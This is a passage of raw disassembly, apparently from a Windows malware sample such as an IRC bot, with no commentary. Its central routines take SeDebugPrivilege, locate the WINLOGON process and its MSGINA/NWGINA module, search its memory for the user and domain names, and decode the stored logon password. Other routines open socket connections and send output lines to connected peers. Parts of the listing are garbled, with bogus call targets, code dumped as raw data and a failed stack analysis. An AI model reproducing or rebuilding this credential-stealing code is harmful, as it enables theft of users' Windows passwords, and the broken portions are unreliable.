		add	esp, 10h
		jmp	short loc_416CAA
; ---------------------------------------------------------------------------

loc_416C49:				; CODE XREF: sub_416C28+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CAF0C
		lea	esi, [eax+2]
		push	esi
		call	sub_41B4D5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CAF0C
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_416CA1

loc_416C6D:				; CODE XREF: sub_416C28+77j
		push	offset aA_1	; "A:\\"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416C90
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B56
		add	esp, 10h

loc_416C90:				; CODE XREF: sub_416C28+54j
		push	esi
		call	sub_41AFE0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_416C6D

loc_416CA1:				; CODE XREF: sub_416C28+43j
		push	edi
		call	sub_41B0B1
		pop	ecx
		pop	edi
		pop	esi

loc_416CAA:				; CODE XREF: sub_416C28+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416C28	endp

; ---------------------------------------------------------------------------
byte_416CAD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+689Fo
		dd 49CEC81h, 458B0000h,	57565308h, 0A7B9h, 8DF08B00h, 0FFFD64BDh
		dd 0C7A5F3FFh, 29880h, 100h, 0EC858D00h, 50FFFFFEh, 42FFE8h
		dd 80DB3300h, 0FEEB05BCh, 595CFFFFh, 858D1475h,	0FFFFFEECh
		dd 42E6E850h, 88590000h, 0FEEB059Ch, 858DFFFFh,	0FFFFFDE8h
		dd 79146850h, 858D0043h, 0FFFFFB64h, 20068h, 61E85000h
		dd 8300004Ch, 5D3910C4h, 532075F8h, 0FB64858Dh,	75FFFFFFh
		dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF2D2Eh
		dd 8D14C483h, 0FFFEEC85h, 8D5053FFh, 0FFFDE885h, 858D50FFh
		dd 0FFFFFD68h, 50F475FFh, 0FD64B5FFh, 5DE8FFFFh, 83000000h
		dd 8D5018C4h, 0FFFB6485h, 78F468FFh, 0E8500043h, 4B06h
		dd 390CC483h, 2075F85Dh, 64858D53h, 0FFFFFFFBh,	8D50F475h
		dd 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h, 0FF2CCDE8h, 14C483FFh
		dd 0FB64858Dh, 0E850FFFFh, 0FFFFE3F8h, 0E8F075FFh, 0FFFF4656h
		dd 0E8535959h, 22B923Ch, 5B5E5F90h, 81EC8B55h, 54CECh
		dd 57565300h, 104BEh, 1875FF00h, 0FDB8858Dh, 5868FFFFh
		dd 56004379h, 4B92E850h, 3D8B0000h, 427000h, 8D10C483h
		dd 0FFFEBC85h, 858D50FFh, 0FFFFFDB8h, 83D7FF50h, 4589FFF8h
		dd 93ECBBFCh, 71740042h, 0FEBC85F6h, 7410FFFFh,	0E8BD8054h
		dd 2EFFFFFEh, 0BD801275h, 0FFFFFEE9h, 80427400h, 0FFFEE9BDh
		dd 39742EFFh, 0FEE8858Dh, 8D50FFFFh, 0FFFCB485h, 1875FFFFh
		dd 0E8505653h, 4B30h, 8D1C75FFh, 0FFFCB485h, 75FF50FFh
		dd 1075FF14h, 0FF0C75FFh, 5DE80875h, 83FFFFFFh,	45892CC4h
		dd 0BC858D1Ch, 50FFFFFEh, 90FC75FFh, 33917FE8h,	75C08502h
		dd 0FC75FF8Fh, 319173E8h, 75FF9002h, 0B8858D14h, 0FFFFFFFDh
		dd 56531875h, 4ADEE850h, 0C4830000h, 0BC858D14h, 50FFFFFEh
		dd 0FDB8858Dh, 0FF50FFFFh, 83F08BD7h, 4F74FFFEh, 0FEE8858Dh
		dd 45FFFFFFh, 858D501Ch, 0FFFFFAB4h, 681875FFh,	43793Ch
		dd 20068h, 0A1E85000h, 6A00004Ah, 0B4858D01h, 0FFFFFFFAh
		dd 0FF501075h, 75FF0C75h, 2B7CE808h, 0C483FFFFh, 0BC858D28h
		dd 50FFFFFEh, 0F9E89056h, 85023390h, 56B175C0h,	90EEE890h
		dd 458B0231h, 5B5E5F1Ch
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F1A	proc near		; DATA XREF: sub_401ACD+1CCFo

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41A8F4
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_416F59
		cmp	eax, 2
		jz	short loc_416F59
		push	offset unk_437B30
		jmp	loc_417098
; ---------------------------------------------------------------------------

loc_416F59:				; CODE XREF: sub_416F1A+2Ej
					; sub_416F1A+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_417093
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		call	near ptr 2690BBBh
		nop
		mov	esi, dword_4270BC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D3E1C, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D3E10, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D4020, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D3E18, eax
		call	esi
		mov	dword_4D3E14, eax
		call	sub_4170EC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_417066
		mov	esi, dword_42713C
		mov	edi, 400h
		mov	ebx, offset dword_4D2E10
		push	edi
		push	ebx
		push	offset off_437A6C
		call	esi
		push	edi
		mov	edi, offset dword_4D3610
		push	edi
		push	offset off_437A54
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_4D4028
		push	[ebp+arg_0]
		jnz	short loc_417012
		call	sub_417275
		jmp	short loc_417017
; ---------------------------------------------------------------------------

loc_417012:				; CODE XREF: sub_416F1A+EFj
		call	sub_41741C

loc_417017:				; CODE XREF: sub_416F1A+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41705F
		cmp	dword_4D4028, 0
		jnz	short loc_417046
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_4379F8
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 18h
		jmp	short loc_417079
; ---------------------------------------------------------------------------

loc_417046:				; CODE XREF: sub_416F1A+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_417056
		call	sub_417552
		jmp	short loc_41705B
; ---------------------------------------------------------------------------

loc_417056:				; CODE XREF: sub_416F1A+133j
		call	sub_4175E9

loc_41705B:				; CODE XREF: sub_416F1A+13Aj
		pop	ecx
		push	eax
		jmp	short loc_41706B
; ---------------------------------------------------------------------------

loc_41705F:				; CODE XREF: sub_416F1A+101j
		push	offset unk_4379C0
		jmp	short loc_41706B
; ---------------------------------------------------------------------------

loc_417066:				; CODE XREF: sub_416F1A+B6j
		push	offset unk_437994

loc_41706B:				; CODE XREF: sub_416F1A+143j
					; sub_416F1A+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_417079:				; CODE XREF: sub_416F1A+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		nop
		call	near ptr 2780428h
		pop	ebx
		jmp	short loc_4170A6
; ---------------------------------------------------------------------------

loc_417093:				; CODE XREF: sub_416F1A+4Ej
		push	offset unk_437960

loc_417098:				; CODE XREF: sub_416F1A+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_4170A6:				; CODE XREF: sub_416F1A+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_4170CD
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409A72
		add	esp, 14h

loc_4170CD:				; CODE XREF: sub_416F1A+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4151AC
		push	[ebp+var_18]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26D0000h
		nop
		pop	edi
		pop	esi
sub_416F1A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4170EC	proc near		; CODE XREF: sub_416F1A+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427148
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D3E1C
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2790000h
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D3E1C
		test	eax, eax
		jnz	short loc_4171D9
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4171D9
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_4171D9

loc_417175:				; CODE XREF: sub_4170EC+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4171CC
		push	0
		push	0
		call	dword_4D3E10
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D4020
		test	eax, eax
		jnz	short loc_4171BD
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4171F1

loc_4171BD:				; CODE XREF: sub_4170EC+AAj
		test	edi, edi
		jz	short loc_4171C8
		push	edi
		call	dword_4D3E18

loc_4171C8:				; CODE XREF: sub_4170EC+D3j
		mov	eax, [esp+28h+var_10]

loc_4171CC:				; CODE XREF: sub_4170EC+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_417175

loc_4171D9:				; CODE XREF: sub_4170EC+6Dj
					; sub_4170EC+7Aj ...
		xor	edi, edi

loc_4171DB:				; CODE XREF: sub_4170EC+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2790000h
		mov	eax, edi

loc_4171E9:				; CODE XREF: sub_4170EC+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------

loc_4171F1:				; CODE XREF: sub_4170EC+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_41725A
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax

loc_417207:				; CODE XREF: sub_4170EC+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41726E
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41724C
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax

loc_41724C:				; CODE XREF: sub_4170EC+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_417207

loc_41725A:				; CODE XREF: sub_4170EC+10Fj
		test	edi, edi
		jz	short loc_417265
		push	edi
		call	dword_4D3E18

loc_417265:				; CODE XREF: sub_4170EC+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4171DB
; ---------------------------------------------------------------------------

loc_41726E:				; CODE XREF: sub_4170EC+13Cj
		xor	eax, eax
		jmp	loc_4171E9
sub_4170EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417275	proc near		; CODE XREF: sub_416F1A+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		nop
		call	near ptr 26708DBh
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_41729E
		xor	eax, eax
		jmp	loc_417419
; ---------------------------------------------------------------------------

loc_41729E:				; CODE XREF: sub_417275+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		nop
		call	near ptr 27B055Dh
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427148
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_427150
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_4172EE
		xor	esi, esi
		jmp	loc_41740C
; ---------------------------------------------------------------------------

loc_4172EE:				; CODE XREF: sub_417275+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	near ptr 27B0000h
		nop
		test	eax, eax
		jz	loc_4173FB
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4173FB
		test	[ebp+var_2B], 1
		jnz	loc_4173FB
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_4173FB

loc_417351:				; CODE XREF: sub_417275+112j
		push	edi
		push	offset dword_4D2E10
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417379
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D3610
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417389

loc_417379:				; CODE XREF: sub_417275+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4173FB
		jmp	short loc_417351
; ---------------------------------------------------------------------------

loc_417389:				; CODE XREF: sub_417275+102j
		test	edi, edi
		jz	short loc_4173FB
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		call	near ptr 2740000h
		nop
		test	eax, eax
		jz	short loc_4173C4
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	near ptr 2730820h
		nop
		test	eax, eax
		jz	short loc_4173C4
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax

loc_4173C4:				; CODE XREF: sub_417275+12Bj
					; sub_417275+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D4034, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D402C, eax
		mov	dword_4D4030, edi

loc_4173FB:				; CODE XREF: sub_417275+90j
					; sub_417275+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		call	near ptr 2790000h
		nop
		mov	esi, [ebp+var_10]

loc_41740C:				; CODE XREF: sub_417275+74j
		push	[ebp+var_4]
		call	near ptr 2650939h
		nop
		pop	edi
		mov	eax, esi
		pop	ebx

loc_417419:				; CODE XREF: sub_417275+24j
		pop	esi
		leave
		retn
sub_417275	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41741C	proc near		; CODE XREF: sub_416F1A:loc_417012p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		nop
		call	near ptr 26708DBh
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41750E
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		call	near ptr 27B055Dh
		nop
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_417505
		mov	edi, dword_427148

loc_417467:				; CODE XREF: sub_41741C+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	near ptr 27B0000h
		nop
		test	eax, eax
		jz	short loc_4174F3
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4174F9
		test	[ebp+var_13], 1
		jnz	short loc_4174F9
		push	ecx
		push	8
		call	edi
		push	eax
		nop
		call	near ptr 27A0000h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27B0306h
		test	eax, eax
		jz	short loc_4174E5
		push	offset dword_4D2E10
		push	esi
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4174E5
		lea	eax, [esi+400h]
		push	offset dword_4D3610
		push	eax
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417515

loc_4174E5:				; CODE XREF: sub_41741C+9Fj
					; sub_41741C+B0j
		push	esi
		push	0
		call	edi
		push	eax
		nop
		call	near ptr 2790000h
		jmp	short loc_4174F9
; ---------------------------------------------------------------------------

loc_4174F3:				; CODE XREF: sub_41741C+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax

loc_4174F9:				; CODE XREF: sub_41741C+71j
					; sub_41741C+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_417467

loc_417505:				; CODE XREF: sub_41741C+3Fj
		push	[ebp+arg_0]
		call	near ptr 2650939h
		nop

loc_41750E:				; CODE XREF: sub_41741C+1Ej
		xor	eax, eax

loc_417510:				; CODE XREF: sub_41741C+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_417515:				; CODE XREF: sub_41741C+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D402C, ebx
		mov	dword_4D4030, eax
		cmp	[eax], cl
		jnz	short loc_417537
		cmp	[eax+1], cl
		jz	short loc_41753F

loc_417537:				; CODE XREF: sub_41741C+114j
					; sub_41741C+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417537

loc_41753F:				; CODE XREF: sub_41741C+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		nop
		call	near ptr 2650939h
		push	1
		pop	eax
		jmp	short loc_417510
sub_41741C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417552	proc near		; CODE XREF: sub_416F1A+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D4028
		push	esi
		mov	esi, dword_427148
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		nop
		call	near ptr 27A0000h
		mov	ecx, dword_4D4028
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D4030
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D4034
		push	eax
		call	dword_4D3E14
		push	[ebp+var_4]
		mov	edi, offset dword_4D3E20
		push	offset dword_4D2E10
		push	offset dword_4D3610
		push	[ebp+arg_0]
		push	offset dword_437B7C
		push	200h
		push	edi
		call	sub_41B980
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2790000h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_417552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175E9	proc near		; CODE XREF: sub_416F1A:loc_417056p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D4028
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		call	near ptr 27A0D17h
		nop
		push	eax
		nop
		call	near ptr 27A0000h
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D3610
		mov	edi, 200h
		mov	esi, offset dword_4D2C10

loc_41762F:				; CODE XREF: sub_4175E9+FAj
		mov	eax, dword_4D4028
		add	eax, eax
		push	eax
		push	dword_4D4030
		push	[ebp+var_14]
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D3E14
		mov	eax, dword_4D4028
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4176A4

loc_41766C:				; CODE XREF: sub_4175E9+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_4176C1
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417690
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417690
		cmp	dl, 20h
		jnb	short loc_41768A
		and	[ebp+var_8], 0

loc_41768A:				; CODE XREF: sub_4175E9+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417694

loc_417690:				; CODE XREF: sub_4175E9+90j
					; sub_4175E9+96j
		and	[ebp+var_8], 0

loc_417694:				; CODE XREF: sub_4175E9+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_41766C
		cmp	[ebp+var_8], 0
		jz	short loc_4176C1

loc_4176A4:				; CODE XREF: sub_4175E9+81j
		push	[ebp+var_14]
		push	offset dword_4D2E10
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_437B7C
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 1Ch
		jmp	short loc_4176D9
; ---------------------------------------------------------------------------

loc_4176C1:				; CODE XREF: sub_4175E9+87j
					; sub_4175E9+B9j
		push	offset dword_4D2E10
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_437BCC
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 18h

loc_4176D9:				; CODE XREF: sub_4175E9+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_41762F
		push	[ebp+var_14]
		push	0
		nop
		call	near ptr 27A0D17h
		push	eax
		nop
		call	near ptr 2790000h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4175E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417702	proc near		; CODE XREF: sub_4178BA+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CB024
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_41777E
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CAFA4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CAFE4
		cmp	eax, esi
		jnz	short loc_417763
		push	[ebp+arg_0]
		call	dword_4CB028
		test	eax, eax
		jz	short loc_41777E
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

loc_417763:				; CODE XREF: sub_417702+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CAF4C
		cmp	eax, esi
		jnz	short loc_417782
		push	edi
		call	dword_4CB03C

loc_41777E:				; CODE XREF: sub_417702+1Bj
					; sub_417702+58j
		mov	eax, esi
		jmp	short loc_417784
; ---------------------------------------------------------------------------

loc_417782:				; CODE XREF: sub_417702+73j
		mov	eax, edi

loc_417784:				; CODE XREF: sub_417702+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417702	endp


; =============== S U B	R O U T	I N E =======================================



sub_417788	proc near		; CODE XREF: sub_401ACD+3294p
					; sub_401ACD+3300p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_4299C8 ; "\n"
		push	edi
		call	sub_41BEC0
		pop	ecx
		mov	esi, offset dword_4D403C
		pop	ecx

loc_4177A0:				; CODE XREF: sub_417788+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_4177BE
		cmp	dword ptr [esi], 0
		jbe	short loc_4177BE
		push	0
		push	edi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CAFF4

loc_4177BE:				; CODE XREF: sub_417788+1Cj
					; sub_417788+21j
		add	esi, 210h
		cmp	esi, offset dword_4DA75C
		jl	short loc_4177A0
		pop	edi
		pop	esi
		retn
sub_417788	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177CF	proc near		; CODE XREF: sub_4178BA+155p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42CA60 ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41C0F4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx

loc_4177F4:				; CODE XREF: sub_4177CF+35j
		push	esi
		push	0
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_4177F4
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_41781C
		cmp	esi, edi
		jnz	short loc_41781C
		push	1
		pop	eax
